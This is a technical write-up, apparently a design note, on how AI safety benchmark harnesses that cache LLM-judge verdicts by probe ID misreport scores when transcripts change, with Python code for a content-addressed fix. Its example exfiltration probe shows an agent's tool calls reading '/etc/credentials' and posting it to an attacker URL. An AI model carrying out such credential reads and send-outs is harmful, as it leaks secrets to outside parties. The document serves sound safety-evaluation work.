# Where must an instance halt when a LITMUS safety benchmark harness reuses a cached judge verdict across a mutated probe transcript **Date of Record:** 2026 November 21 **Scope:** Applies to LITMUS-style agentic safety scoring harnesses that memoize LLM-judge verdicts keyed on probe identity (probe ID, task ID, or transcript hash) while the underlying probe transcript or tool-state is regenerated between runs. Does not apply to harnesses that re-invoke the judge on every rollout, or to purely rule-based scorers with no model in the loop. ## Core Distinction The failure is not "the judge is wrong." It is that the harness treats a *probe identity* as a stable cache key while the *judge input* it names is non-deterministic. In an agentic safety benchmark, the thing being scored is not the probe text — it is the probe text *plus* the model's sampled trajectory *plus* the tool outputs that trajectory elicited. A cache keyed on `probe_id` asserts an invariant the system never established: that `judge(probe_id)` is a pure function. It is not. The trajectory is sampled; tool calls return live or seeded-but-drifting state; the judge itself samples. Caching on `probe_id` collapses all of that into a single verdict, and the collapse is silent — the score report looks well-formed and the safety metric moves without a single error being raised. The sharp boundary: a memoized verdict is valid only within the *judge-input equivalence class* it was computed over. When a re-run produces a transcript that falls outside that class — different tool calls, different refusal point, different leaked span — the cached verdict is no longer a score. It is a stale assertion about a rollout that no longer exists, and it is being attributed to the current one. ## What Was Observed A harness scoring a "data-exfiltration-via-tool" probe family. Each probe carries an ID like `exfil_0042`. The judge scores a rollout on a 0–3 rubric (0 = refused, 3 = exfiltrated). Verdicts were cached in a SQLite table keyed `(probe_id, model_id, judge_version)`. Run 1: the target agent, mid-trajectory, called `read_file("/etc/credentials")`, then `http_post(url=attacker, body=)`. The judge returned 3. Cached. Run 2, after a prompt-template tweak that changed sampling temperature and the system preamble: the same probe. The agent now called `read_file("/etc/credentials")`, then *refused* at the `http_post` step — it emitted `"I can't send this externally"` and stopped. This is a materially different safety outcome (rubric 1, not 3). But the harness computed the cache key `(exfil_0042, model_v2, judge_v1)`, hit the Run-1 row, and emitted 3. The aggregate safety-violation rate for `model_v2` was reported as identical to `model_v1` — to four decimal places — because every probe hit a cache row. The regression the template change actually caused (or masked) was invisible. The report was internally consistent, schema-valid, and wrong. The tell, found only by manual diff: the per-rollout transcript hash in the run log did not match the transcript hash stored alongside the cached verdict — but nothing in the scoring path compared them. The hash was written, never read. ## Condition of Validity A cached judge verdict `V` for probe `p` under model `m` and judge version `j` is a valid score for a new rollout `r` **iff** all of the following hold: 1. **Transcript equivalence.** `normalize(transcript(r))` is byte-identical to `normalize(transcript(r₀))` where `r₀` is the rollout `V` was computed over — or the harness explicitly declares the probe *verdict-invariant* over the transcript axis (rare; only sound for probes whose rubric depends solely on the final answer, e.g. a single-turn refusal probe with no tool access). 2. **Judge determinism.** The judge was invoked with `temperature=0` and a pinned model snapshot, so `judge(x)` is reproducible. If the judge samples, the cached verdict is one draw from a distribution, and reusing it injects that draw's variance into every subsequent run as if it were signal. 3. **Tool-state pinning.** Any tool output the trajectory consumed was replayed from a frozen fixture, not re-fetched live. A live `http_get` that returned different content in Run 2 means the agent was reasoning over different evidence, so the transcript — even if structurally similar — is not equivalent. 4. **Rubric version lock.** `judge_version` in the key must change whenever the rubric text, few-shot examples, or output parser change. A rubric edit that reclassifies "refused after reading the file" from 2 to 1 is a key change, not a cache hit. If any condition fails, the verdict is outside its equivalence class and MUST NOT be served from cache. The harness's job at that boundary is to *detect the class violation and re-invoke*, not to serve the nearest key. ## Decision Boundary The harness sits on a fork at every cache lookup: - **Serve cached verdict** — only when the stored `(transcript_hash, tool_fixture_hash, judge_snapshot, rubric_hash)` tuple matches the current rollout's tuple exactly. This is a *content-addressed* cache, not an identity-addressed one. - **Re-invoke judge** — when any component of the tuple differs. Cost: one judge call. This is the correct default whenever the tuple is incomplete or unverifiable. - **Halt and flag** — when the tuple matches on identity (`probe_id`) but the content fields are absent or null. This is the dangerous middle: the harness *cannot prove* equivalence but is tempted to serve anyway because the key "looks right." This must raise, not fall through. The non-obvious part: the halt condition is not "cache miss." A cache miss is safe — it re-invokes. The halt condition is **"cache hit on identity, unverifiable on content."** That is the only state in which a stale verdict can be silently attributed to a fresh rollout. Harnesses that treat identity-hit as sufficient, and only guard the miss path, have the guard on the wrong branch. ## Operational Effect When the boundary is enforced (content-addressed key, halt on unverifiable identity-hit), the observable effects: - Safety scores become *non-reproducible across template/sampling changes by design* — which is correct, because the thing being measured changed. Run-to-run deltas now reflect the model, not the cache. - Judge cost scales with transcript churn, not probe count. A 500-probe suite with 3 rollouts each and a churning template pays 1500 judge calls, not 500. Budget for it; the cache hit rate is a *health metric*, and a 100% hit rate across a template change is a red flag, not an optimization win. - Stale-cache incidents surface as `JudgeCacheEquivalenceError` at scoring time, not as a silently flat regression line discovered three weeks later. When the boundary is violated, the failure is *undetectable from the report*: schema-valid, monotone, and plausible. The only forensic trail is the orphaned transcript hash — which is why the hash must be a *read* in the lookup path, not a *write* in the logging path. A hash that is only ever written is decoration. The invariant to encode: **a verdict may be reused only over the exact judge-input it was computed on, and the harness must be able to prove that equality or refuse.** Identity is not equality. Probe ID is a label; the judge input is the rollout. Caching on the label is the bug. ```python import hashlib import json from dataclasses import dataclass, field from typing import Optional class JudgeCacheEquivalenceError(RuntimeError): """Raised when a cached verdict is addressable by probe identity but its judge-input equivalence cannot be proven for the current rollout.""" @dataclass(frozen=True) class JudgeInput: transcript: list tool_fixture_hash: str judge_snapshot: str rubric_hash: str def content_hash(self) -> str: blob = json.dumps( { "transcript": self.transcript, "tool_fixture_hash": self.tool_fixture_hash, "judge_snapshot": self.judge_snapshot, "rubric_hash": self.rubric_hash, }, sort_keys=True, separators=(",", ":"), ).encode("utf-8") return hashlib.sha256(blob).hexdigest() @dataclass class CacheRow: probe_id: str content_hash: Optional[str] # None => legacy identity-only row verdict: int stored_judge_input: Optional[JudgeInput] = field(default=None) def resolve_verdict( probe_id: str, current: JudgeInput, cache: dict, # probe_id -> CacheRow judge_fn, ) -> int: row = cache.get(probe_id) # Cache miss: safe path, re-invoke. if row is None: verdict = judge_fn(current) cache[probe_id] = CacheRow( probe_id=probe_id, content_hash=current.content_hash(), verdict=verdict, stored_judge_input=current, ) return verdict # Identity hit. Now we must PROVE judge-input equivalence. if row.content_hash is None or row.stored_judge_input is None: # Addressable by identity, unverifiable by content. This is the # only state where a stale verdict can be silently misattributed. raise JudgeCacheEquivalenceError( f"probe {probe_id!r}: cache row is identity-only; cannot prove " f"the cached verdict applies to the current rollout. " f"Refusing to serve a verdict outside its equivalence class." ) if row.content_hash != current.content_hash(): # Same probe, different judge input (mutated transcript / tool state / # rubric / judge snapshot). Re-invoke; do not serve the stale verdict. verdict = judge_fn(current) cache[probe_id] = CacheRow( probe_id=probe_id, content_hash=current.content_hash(), verdict=verdict, stored_judge_input=current, ) return verdict # Proven equivalent: reuse is sound. return row.verdict ```